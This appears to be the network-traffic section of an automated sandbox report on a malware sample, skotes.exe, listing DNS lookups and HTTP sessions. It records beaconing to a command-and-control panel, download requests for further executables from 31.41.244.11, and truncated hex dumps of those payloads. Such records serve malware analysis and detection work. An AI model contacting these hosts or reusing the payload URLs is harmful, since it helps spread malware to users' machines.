Dec 21, 2024 10:15:39.703876019 CET	192.168.2.4	1.1.1.1	0xcc0d	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 21, 2024 10:15:42.831065893 CET	192.168.2.4	1.1.1.1	0x8035	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:42.831123114 CET	192.168.2.4	1.1.1.1	0x617f	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 10:15:51.635509014 CET	192.168.2.4	1.1.1.1	0xad9a	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:51.635617971 CET	192.168.2.4	1.1.1.1	0x949b	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 10:15:51.657470942 CET	192.168.2.4	1.1.1.1	0x1806	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:53.281085014 CET	192.168.2.4	1.1.1.1	0x37ae	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:53.281238079 CET	192.168.2.4	1.1.1.1	0xac64	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 21, 2024 10:16:03.942228079 CET	192.168.2.4	1.1.1.1	0x1ba2	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:06.600855112 CET	192.168.2.4	1.1.1.1	0xc151	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:17.002455950 CET	192.168.2.4	1.1.1.1	0xd897	Standard query (0)	fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:17.002455950 CET	192.168.2.4	1.1.1.1	0x2e73	Standard query (0)	fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 10:16:17.306134939 CET	192.168.2.4	1.1.1.1	0xd897	Standard query (0)	fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:20.182305098 CET	192.168.2.4	1.1.1.1	0xf3cf	Standard query (0)	fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:20.182305098 CET	192.168.2.4	1.1.1.1	0x6e60	Standard query (0)	fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 10:16:24.542433023 CET	192.168.2.4	1.1.1.1	0x6425	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:24.542553902 CET	192.168.2.4	1.1.1.1	0xe2cb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 21, 2024 10:16:28.505378962 CET	192.168.2.4	1.1.1.1	0xdac3	Standard query (0)	fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:28.505426884 CET	192.168.2.4	1.1.1.1	0x6760	Standard query (0)	fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 10:16:31.388055086 CET	192.168.2.4	1.1.1.1	0x9c35	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:31.388133049 CET	192.168.2.4	1.1.1.1	0xc1d8	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 10:15:16.016974926 CET	1.1.1.1	192.168.2.4	0xf7d	Name error (3)	bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO	none	none	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:32.676645994 CET	1.1.1.1	192.168.2.4	0xb0f0	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:35.308885098 CET	1.1.1.1	192.168.2.4	0xf0da	No error (0)	toptek.sbs		94.130.188.57	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:40.000459909 CET	1.1.1.1	192.168.2.4	0xc9a9	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:40.000459909 CET	1.1.1.1	192.168.2.4	0xc9a9	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:43.506769896 CET	1.1.1.1	192.168.2.4	0x8035	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:51.777955055 CET	1.1.1.1	192.168.2.4	0xad9a	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:52.065313101 CET	1.1.1.1	192.168.2.4	0x1806	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:52.065313101 CET	1.1.1.1	192.168.2.4	0x1806	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:15:53.418977022 CET	1.1.1.1	192.168.2.4	0xac64	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 21, 2024 10:15:53.420988083 CET	1.1.1.1	192.168.2.4	0x37ae	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:04.079904079 CET	1.1.1.1	192.168.2.4	0x1ba2	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:06.738323927 CET	1.1.1.1	192.168.2.4	0xc151	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:06.738323927 CET	1.1.1.1	192.168.2.4	0xc151	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:06.738323927 CET	1.1.1.1	192.168.2.4	0xc151	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:06.738323927 CET	1.1.1.1	192.168.2.4	0xc151	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:17.307491064 CET	1.1.1.1	192.168.2.4	0xd897	No error (0)	fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:17.443757057 CET	1.1.1.1	192.168.2.4	0xd897	No error (0)	fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:20.320668936 CET	1.1.1.1	192.168.2.4	0xf3cf	No error (0)	fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:24.679613113 CET	1.1.1.1	192.168.2.4	0x6425	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:24.679640055 CET	1.1.1.1	192.168.2.4	0xe2cb	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 21, 2024 10:16:28.643676043 CET	1.1.1.1	192.168.2.4	0xdac3	No error (0)	fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 10:16:31.528553009 CET	1.1.1.1	192.168.2.4	0x9c35	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49750	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:04.384397030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 21, 2024 10:15:05.711507082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:07.349890947 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 36 37 32 42 32 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72672B25D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 21, 2024 10:15:08.713617086 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 36 33 0d 0a 20 3c 63 3e 31 30 31 39 32 35 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 31 37 37 39 62 34 36 34 64 61 63 35 38 65 62 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 39 32 35 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 39 32 35 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 39 32 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 [TRUNCATED] Data Ascii: 563 <c>1019250001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd1779b464dac58eb03564d5b9cd3e956b7b5d1#1019251001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1019252001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1019253001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1019254001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1019255001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1019256001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1019257001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1019258001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1019259001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1019260001+++fc8f7c1ed3 [TRUNCATED]
Dec 21, 2024 10:15:08.713656902 CET	124	IN	Data Raw: 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 31 39 32 36 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 Data Ascii: d934f48b15eaa495c49#1019261001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c16034799d2e017bfe3d14
Dec 21, 2024 10:15:08.950789928 CET	210	IN	Data Raw: 38 32 62 23 31 30 31 39 32 36 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 Data Ascii: 82b#1019262001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1019263001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:09.075407028 CET	63	OUT	GET /files/zhigarko/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:15:10.404720068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:10 GMT Content-Type: application/octet-stream Content-Length: 863093 Last-Modified: Fri, 20 Dec 2024 20:00:38 GMT Connection: keep-alive ETag: "6765cce6-d2b75" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 c4 07 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 70 10 00 00 04 00 00 82 9d 0d 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8@p@@R$`.textrt `.rdatan+,x@@.data+@.ndata.rsrcRT@@.reloc`@B
Dec 21, 2024 10:15:10.404777050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d Data Ascii: U\}t+}FEuHGHPuuu@KSV5GWEPu@eEEPu@}eD@FRVVU+MMEFQNUMMVTU
Dec 21, 2024 10:15:10.404844999 CET	448	IN	Data Raw: 55 8b ec 81 ec 10 02 00 00 53 56 57 8d 45 fc 50 a1 90 eb 47 00 83 c8 08 50 33 db 53 ff 75 0c ff 75 08 ff 15 04 90 40 00 3b c3 75 69 8b 35 00 90 40 00 bf 05 01 00 00 eb 19 39 5d 10 75 4b 53 8d 85 f0 fd ff ff 50 ff 75 fc e8 b2 ff ff ff 85 c0 75 12 Data Ascii: USVWEPGP3Suu@;ui5@9]uKSPuuWPSutu@jN;t$S5Guuu@3@_^[9Guuu@uU@@Vt5dGEPGEPjj"PV@
Dec 21, 2024 10:15:10.404881001 CET	1236	IN	Data Raw: 40 00 e8 6b 4c 00 00 59 59 53 56 e8 30 fd ff ff e9 7c 1a 00 00 53 e8 e4 fd ff ff 50 68 60 9f 40 00 e8 4c 4c 00 00 59 59 53 ff 75 d4 e8 10 39 00 00 e9 50 1a 00 00 33 c9 e8 ac fd ff ff 8b f0 56 68 4c 9f 40 00 e8 28 4c 00 00 59 59 83 fe 01 7f 03 33 Data Ascii: @kLYYSV0\|SPh`@LLYYSu9P3VhL@(LYY3FV@&h0@LYu@@9]u%`G G3ASM`G G`Gu4`G3;#MD4`GjG5D@;t
Dec 21, 2024 10:15:10.404918909 CET	1236	IN	Data Raw: 68 f0 00 41 00 e8 91 41 00 00 83 e8 04 75 10 68 70 9b 40 00 e8 85 47 00 00 59 e9 36 ff ff ff 48 74 40 68 40 9b 40 00 e8 72 47 00 00 59 56 6a fa e9 c7 fa ff ff ff 75 cc 6a e2 e8 2e 34 00 00 83 7d 08 02 75 07 c7 45 fc 01 00 00 00 ff 75 08 56 68 f0 Data Ascii: hAAuhp@GY6Ht@h@@rGYVjuj.4}uEuVh@DGPh@2GhGYCuj3GSSuuGVWh@F}u}tEPSPu`@u@;ujVLuV2DjV
Dec 21, 2024 10:15:10.404954910 CET	448	IN	Data Raw: 30 6a 01 e8 4f f4 ff ff 6a 12 8b f8 e8 46 f4 ff ff 0f b7 08 f7 d9 1b c9 23 c8 0f b7 07 f7 d8 51 1b c0 23 c7 50 ff 75 08 ff 75 cc ff 15 a4 92 40 00 89 45 f8 39 5d d4 0f 8c a1 10 00 00 ff 75 f8 e9 93 10 00 00 33 c9 e8 f5 f3 ff ff 50 ff 15 6c 92 40 Data Ascii: 0jOjF#Q#Puu@E9]u3Pl@sUjY3PAPp@ZGPj3Pt@DQup@EPV@EEjPEEPSSPSx@PShrV@;PD@
Dec 21, 2024 10:15:10.404990911 CET	1236	IN	Data Raw: 22 8b d8 e8 8f f2 ff ff 6a 15 8b f8 e8 86 f2 ff ff 68 f0 00 41 00 6a ec e8 bc 2d 00 00 0f b7 07 ff 75 e0 f7 d8 1b c0 23 c7 68 b0 70 4d 00 50 0f b7 06 f7 d8 1b c0 53 23 c6 50 ff 75 f4 ff 15 88 91 40 00 83 f8 21 7d 16 50 57 53 56 68 40 99 40 00 e8 Data Ascii: "jhAj-u#hpMPS#Pu@!}PWSVh@@@WSVh@@SVh@@YYVjI-V:EV;t_h@b@YY9]tF5(@j@jdu=tEPu,@9]\|uW<9]tE
Dec 21, 2024 10:15:10.405024052 CET	1236	IN	Data Raw: 53 6a f9 e8 fd 28 00 00 e9 6d f3 ff ff 8b 45 f4 56 89 45 a4 c7 45 a8 02 00 00 00 e8 92 39 00 00 33 c9 57 66 89 4c 46 02 e8 85 39 00 00 33 c9 66 89 4c 47 02 8b 45 08 66 8b 4d dc 50 53 89 75 ac 89 7d b0 89 45 be 66 89 4d b4 e8 b6 28 00 00 8d 45 a4 Data Ascii: Sj(mEVEE93WfLF93fLGEfMPSu}EfM(EP@tGh@AV]]]9V@AW89]tSE9]tjE9]tj"EjSWVh@h@P;Suuu
Dec 21, 2024 10:15:10.405061960 CET	1236	IN	Data Raw: 91 40 00 66 39 1e 74 1e 53 8d 4d bc 51 50 ff 75 08 56 e8 12 34 00 00 50 ff 15 54 91 40 00 85 c0 0f 85 f1 f7 ff ff c7 45 fc 01 00 00 00 e9 e5 f7 ff ff 6a 02 59 e8 9f e8 ff ff 89 45 f8 83 f8 01 0f 8c 30 05 00 00 b9 03 20 00 00 3b c1 7e 03 89 4d f8 Data Ascii: @f9tSMQPuV4PT@EjYE0 ;~Mf9V]3E9]SEPjEPuX@}u\|9]u9jEPjEPSS\@E<t.<t*fEfwEFE:tE;u\|>EPW33:Et}t}u
Dec 21, 2024 10:15:10.405215979 CET	1236	IN	Data Raw: e1 ff ff e9 9a 00 00 00 33 c9 e8 f6 e3 ff ff 83 f8 20 0f 83 ba e9 ff ff 39 5d e0 74 1f 39 5d dc 74 0f 50 e8 3d e2 ff ff 53 53 e8 88 e1 ff ff eb 71 53 e8 79 e2 ff ff e9 52 fd ff ff 39 5d dc 74 12 8b 4d d8 8b 15 bc ea 47 00 89 8c 82 94 00 00 00 eb Data Ascii: 3 9]t9]tP=SSqSyR9]tMGOGW7:FS#Pju@9]t!SSu@jP2PV.EhG3_^[I@@<@P@r@@@B@n@@@@@6@@
Dec 21, 2024 10:15:10.524688959 CET	1236	IN	Data Raw: 41 43 00 01 75 fc 29 75 f8 89 45 f4 83 7d ec 01 0f 85 39 ff ff ff eb 37 39 45 14 0f 8f 02 ff ff ff eb 2c 6a fc e9 99 fe ff ff 6a fe e9 92 fe ff ff 3b df 74 62 39 75 14 7d 03 8b 75 14 56 53 e8 dd fd ff ff 85 c0 0f 84 75 fe ff ff 89 75 fc 8b 45 fc Data Ascii: ACu)uE}979E,jj;tb9u}uVSuuE_^[u9u}uVpBSIWEPVSuT@t;uuu)u9}U(SV3W]]@h NVSG@jhV(}=@u@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49776	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:14.470592976 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019250001&unit=246122658369
Dec 21, 2024 10:15:15.804933071 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49781	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:15:15.927026033 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:15:17.262609959 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:15:17 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 21, 2024 10:15:17.262655020 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 21, 2024 10:15:17.262690067 CET	448	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 21, 2024 10:15:17.262768030 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
Dec 21, 2024 10:15:17.262820959 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 21, 2024 10:15:17.262856007 CET	1236	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
